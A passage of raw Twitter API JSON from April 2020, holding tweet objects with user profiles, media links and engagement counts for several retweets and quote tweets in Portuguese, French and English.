ps:\\\/\\\/twitter.com\\\/muieresnanet\\\/status\\\/1253829613031165961\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":653,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":1080,\"h\":1125,\"resize\":\"fit\"},\"medium\":{\"w\":1080,\"h\":1125,\"resize\":\"fit\"}},\"source_status_id\":1253829613031165961,\"source_status_id_str\":\"1253829613031165961\",\"source_user_id\":1218213021010616320,\"source_user_id_str\":\"1218213021010616320\"},{\"id\":1253829607268155395,\"id_str\":\"1253829607268155395\",\"indices\":[18,41],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn4WAAMDUWM.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn4WAAMDUWM.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/Zi7xHqWCDQ\",\"display_url\":\"pic.twitter.com\\\/Zi7xHqWCDQ\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/muieresnanet\\\/status\\\/1253829613031165961\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":696,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":742,\"h\":1280,\"resize\":\"fit\"},\"small\":{\"w\":394,\"h\":680,\"resize\":\"fit\"}},\"source_status_id\":1253829613031165961,\"source_status_id_str\":\"1253829613031165961\",\"source_user_id\":1218213021010616320,\"source_user_id_str\":\"1218213021010616320\"}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1241507949392138240,\"id_str\":\"1241507949392138240\",\"name\":\"Gigi7772\",\"screen_name\":\"Gigi77721\",\"location\":\"\",\"description\":\"profissional em procrastinar e ficar desenhando o dia todo, pessoa que gosta de ver o circo pegar o fogo mas que n\\u00e3o colocar\\u00e1 a lenha na fogueira pra isso\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":3,\"friends_count\":25,\"listed_count\":0,\"created_at\":\"Sat Mar 21 23:32:26 +0000 2020\",\"favourites_count\":258,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":123,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1242484034191495178\\\/RvuepMjq_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1242484034191495178\\\/RvuepMjq_normal.jpg\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Fri Apr 24 23:34:09 +0000 2020\",\"id\":1253829613031165961,\"id_str\":\"1253829613031165961\",\"text\":\"https:\\\/\\\/t.co\\\/Zi7xHqWCDQ\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1253829607280779264,\"id_str\":\"1253829607280779264\",\"indices\":[0,23],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn7WoAAPtv8.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn7WoAAPtv8.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/Zi7xHqWCDQ\",\"display_url\":\"pic.twitter.com\\\/Zi7xHqWCDQ\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/muieresnanet\\\/status\\\/1253829613031165961\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":653,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":1080,\"h\":1125,\"resize\":\"fit\"},\"medium\":{\"w\":1080,\"h\":1125,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1253829607280779264,\"id_str\":\"1253829607280779264\",\"indices\":[0,23],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn7WoAAPtv8.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn7WoAAPtv8.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/Zi7xHqWCDQ\",\"display_url\":\"pic.twitter.com\\\/Zi7xHqWCDQ\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/muieresnanet\\\/status\\\/1253829613031165961\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":653,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":1080,\"h\":1125,\"resize\":\"fit\"},\"medium\":{\"w\":1080,\"h\":1125,\"resize\":\"fit\"}}},{\"id\":1253829607268155395,\"id_str\":\"1253829607268155395\",\"indices\":[0,23],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn4WAAMDUWM.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWZ_Yn4WAAMDUWM.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/Zi7xHqWCDQ\",\"display_url\":\"pic.twitter.com\\\/Zi7xHqWCDQ\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/muieresnanet\\\/status\\\/1253829613031165961\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":696,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":742,\"h\":1280,\"resize\":\"fit\"},\"small\":{\"w\":394,\"h\":680,\"resize\":\"fit\"}}}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1218213021010616320,\"id_str\":\"1218213021010616320\",\"name\":\"mulheres que passaram vergonha\",\"screen_name\":\"muieresnanet\",\"location\":\"\",\"description\":\"este perfil tem como objetivo o entretenimento \\\/ se quer que remova SUA imagem DM \\ud83d\\udce9\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":164214,\"friends_count\":0,\"listed_count\":55,\"created_at\":\"Fri Jan 17 16:46:42 +0000 2020\",\"favourites_count\":1816,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":205,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1218719772629786624\\\/Nza3ahvj_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1218719772629786624\\\/Nza3ahvj_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1218213021010616320\\\/1580247905\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":436,\"favorite_count\":3472,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},\"is_quote_status\":false,\"retweet_count\":436,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206657334251523,\"id_str\":\"1254206657334251523\",\"text\":\"@Tmac_thagod https:\\\/\\\/t.co\\\/5FKo9V38wm\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"Tmac_thagod\",\"name\":\"Tmac\",\"id\":439592686,\"id_str\":\"439592686\",\"indices\":[0,12]}],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/5FKo9V38wm\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/gloriaolembo\\\/status\\\/1254136568417259521\",\"display_url\":\"twitter.com\\\/gloriaolembo\\\/s\\u2026\",\"indices\":[13,36]}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":439592686,\"in_reply_to_user_id_str\":\"439592686\",\"in_reply_to_screen_name\":\"Tmac_thagod\",\"user\":{\"id\":2615539497,\"id_str\":\"2615539497\",\"name\":\"BBY.SATURN\",\"screen_name\":\"manny_srz\",\"location\":\"\",\"description\":\"\\u26a0\\ufe0f\\u203c\\ufe0fDon\\u2019t wanna debate w you, stupid\\u203c\\ufe0f\\u26a0\\ufe0f\\ud83d\\ude43\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":260,\"friends_count\":235,\"listed_count\":0,\"created_at\":\"Mon Jun 16 23:13:39 +0000 2014\",\"favourites_count\":24117,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":19284,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1245924964726964224\\\/bHjuSoVJ_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1245924964726964224\\\/bHjuSoVJ_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2615539497\\\/1587097445\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1254136568417259521,\"quoted_status_id_str\":\"1254136568417259521\",\"quoted_status\":{\"created_at\":\"Sat Apr 25 19:53:53 +0000 2020\",\"id\":1254136568417259521,\"id_str\":\"1254136568417259521\",\"text\":\"Il n\\u2019a pas comprit le concept \\ud83d\\ude05\\n#confinement https:\\\/\\\/t.co\\\/j0pvvaXqF2\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"confinement\",\"indices\":[32,44]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254136503258808321,\"id_str\":\"1254136503258808321\",\"indices\":[45,68],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254136503258808321\\\/pu\\\/img\\\/F6zOsn8Id0qYrRNO.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254136503258808321\\\/pu\\\/img\\\/F6zOsn8Id0qYrRNO.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/j0pvvaXqF2\",\"display_url\":\"pic.twitter.com\\\/j0pvvaXqF2\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/GloriaOlembo\\\/status\\\/1254136568417259521\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":540,\"h\":960,\"resize\":\"fit\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":540,\"h\":960,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254136503258808321,\"id_str\":\"1254136503258808321\",\"indices\":[45,68],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254136503258808321\\\/pu\\\/img\\\/F6zOsn8Id0qYrRNO.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254136503258808321\\\/pu\\\/img\\\/F6zOsn8Id0qYrRNO.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/j0pvvaXqF2\",\"display_url\":\"pic.twitter.com\\\/j0pvvaXqF2\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/GloriaOlembo\\\/status\\\/1254136568417259521\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":540,\"h\":960,\"resize\":\"fit\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":540,\"h\":960,\"resize\":\"fit\"}},\"video_info\":{\"aspect_ratio\":[9,16],\"duration_millis\":13078,\"variants\":[{\"bitrate\":632000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254136503258808321\\\/pu\\\/vid\\\/320x568\\\/AVnszQa6W9q7c04O.mp4?tag=10\"},{\"bitrate\":832000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254136503258808321\\\/pu\\\/vid\\\/360x640\\\/Xy2jSsmTHBHeOUUi.mp4?tag=10\"},{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254136503258808321\\\/pu\\\/pl\\\/OKaz96Nq0Hw-jSDL.m3u8?tag=10\"},{\"bitrate\":2176000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254136503258808321\\\/pu\\\/vid\\\/540x960\\\/2pgtZuZG3AfQD02w.mp4?tag=10\"}]},\"additional_media_info\":{\"monetizable\":false}}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1164591021008834563,\"id_str\":\"1164591021008834563\",\"name\":\"ITS MY BDAY\\ud83e\\udd73\",\"screen_name\":\"GloriaOlembo\",\"location\":\"Bruxelles, Belgique\",\"description\":\"1m66 de douceur insta: gloriaolembo\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":381,\"friends_count\":87,\"listed_count\":0,\"created_at\":\"Thu Aug 22 17:32:01 +0000 2019\",\"favourites_count\":611,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":588,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1251225268817137670\\\/E5x_QB1R_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1251225268817137670\\\/E5x_QB1R_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1164591021008834563\\\/1584457034\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":17767,\"favorite_count\":38583,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":true,\"lang\":\"fr\"},\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206657296506880,\"id_str\":\"1254206657296506880\",\"text\":\"RT @49ers: For the memories.\\nFor the laughs.\\nFor the advice.\\nFor always having our back.\\n\\n@gkittle46 shares a heartfelt message for @jstale\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"49ers\",\"name\":\"San Francisco 49ers\",\"id\":43403778,\"id_str\":\"43403778\",\"indices\":[3,9]},{\"screen_name\":\"gkittle46\",\"name\":\"George Kittle\",\"id\":725897344357519360,\"id_str\":\"725897344357519360\",\"indices\":[90,100]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":998424527204945920,\"id_str\":\"998424527204945920\",\"name\":\"\\ud83e\\uddb9\\ud83c\\udffc\\u200d\\u2642\\ufe0f\",\"screen_name\":\"_CursedVillain\",\"location\":\"\",\"description\":\"Sports \\u2022 Music \\u2022 Wrestling \\u2022 Gaming\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":763,\"friends_count\":1204,\"listed_count\":4,\"created_at\":\"Mon May 21 04:45:31 +0000 2018\",\"favourites_count\":65370,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":49379,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1249294890820829184\\\/6paZpZ2h_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1249294890820829184\\\/6paZpZ2h_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/998424527204945920\\\/1586690271\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 22:32:34 +0000 2020\",\"id\":1254176502628757504,\"id_str\":\"1254176502628757504\",\"text\":\"For the memories.\\nFor the laughs.\\nFor the advice.\\nFor always having our back.\\n\\n@gkittle46 shares a heartfelt messag\\u2026 https:\\\/\\\/t.co\\\/IKiHkI3yHw\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"gkittle46\",\"name\":\"George Kittle\",\"id\":725897344357519360,\"id_str\":\"725897344357519360\",\"indices\":[79,89]}],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/IKiHkI3yHw\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1254176502628757504\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/studio.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Media Studio\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":43403778,\"id_str\":\"43403778\",\"name\":\"San Francisco 49ers\",\"screen_name\":\"49ers\",\"location\":\"\",\"description\":\"Official Twitter account of the 5-time Super Bowl Champion San Francisco 49ers. \\ud83d\\udccd@LevisStadium \\ud83e\\udd1d@49ersCommunity\",\"url\":\"https:\\\/\\\/t.co\\\/i5n2B6Tchl\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/i5n2B6Tchl\",\"expanded_url\":\"https:\\\/\\\/www.49ers.com\\\/IGYB\",\"display_url\":\"49ers.com\\\/IGYB\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":2195579,\"friends_count\":370,\"listed_count\":10319,\"created_at\":\"Fri May 29 20:34:37 +0000 2009\",\"favourites_count\":11387,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":46755,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1254124273326686208\\\/xhKFSbQQ_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1254124273326686208\\\/xhKFSbQQ_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/43403778\\\/1587841477\",\"profile_link_color\":\"AA0000\",\"profile_sidebar_border_color\":\"000000\",\"profile_sidebar_fill_color\":\"CCCCCC\",\"profile_text_color\":\"000000\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":1869,\"favorite_count\":8177,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":1869,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206657112027137,\"id_str\":\"1254206657112027137\",\"text\":\"She owes an apology to everyone for being on twitter. https:\\\/\\\/t.co\\\/CaXY7b1PKl\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/CaXY7b1PKl\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/carolinecstark\\\/status\\\/1254200440729763841\",\"display_url\":\"twitter.com\\\/carolinecstark\\u2026\",\"indices\":[54,77]}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/#!\\\/download\\\/ipad\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPad\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":733283255550509056,\"id_str\":\"733283255550509056\",\"name\":\"comrade 48\",\"screen_name\":\"48kiloss\",\"location\":\"\",\"description\":\"recovering\\\/ 2003\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":2359,\"friends_count\":1725,\"listed_count\":10,\"created_at\":\"Thu May 19 13:08:46 +0000 2016\",\"favourites_count\":43789,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":38037,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1244744839431946240\\\/3XCD7qEK_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1244744839431946240\\\/3XCD7qEK_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/733283255550509056\\\/1585917169\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1254200440729763841,\"quoted_status_id_str\":\"1254200440729763841\",\"quoted_status\":{\"created_at\":\"Sun Apr 26 00:07:41 +0000 2020\",\"id\":1254200440729763841,\"id_str\":\"1254200440729763841\",\"text\":\"Amber Tamblyn owes me an apology for being god damned annoying\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":194071815,\"id_str\":\"194071815\",\"name\":\"\\ud83d\\ude37 Stimulus Chick\\ud83d\\ude37\",\"screen_name\":\"carolinecstark\",\"location\":\"Liberate Virginia\",\"description\":\"Views are my cat's. she\\\/her. avi by @sup_im_sammy\\n\\nVote shamers will be disinfected and put under a UV lamp\\nDon't DM unless we're friendly on here.\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":7447,\"friends_count\":6808,\"listed_count\":18,\"created_at\":\"Thu Sep 23 11:01:35 +0000 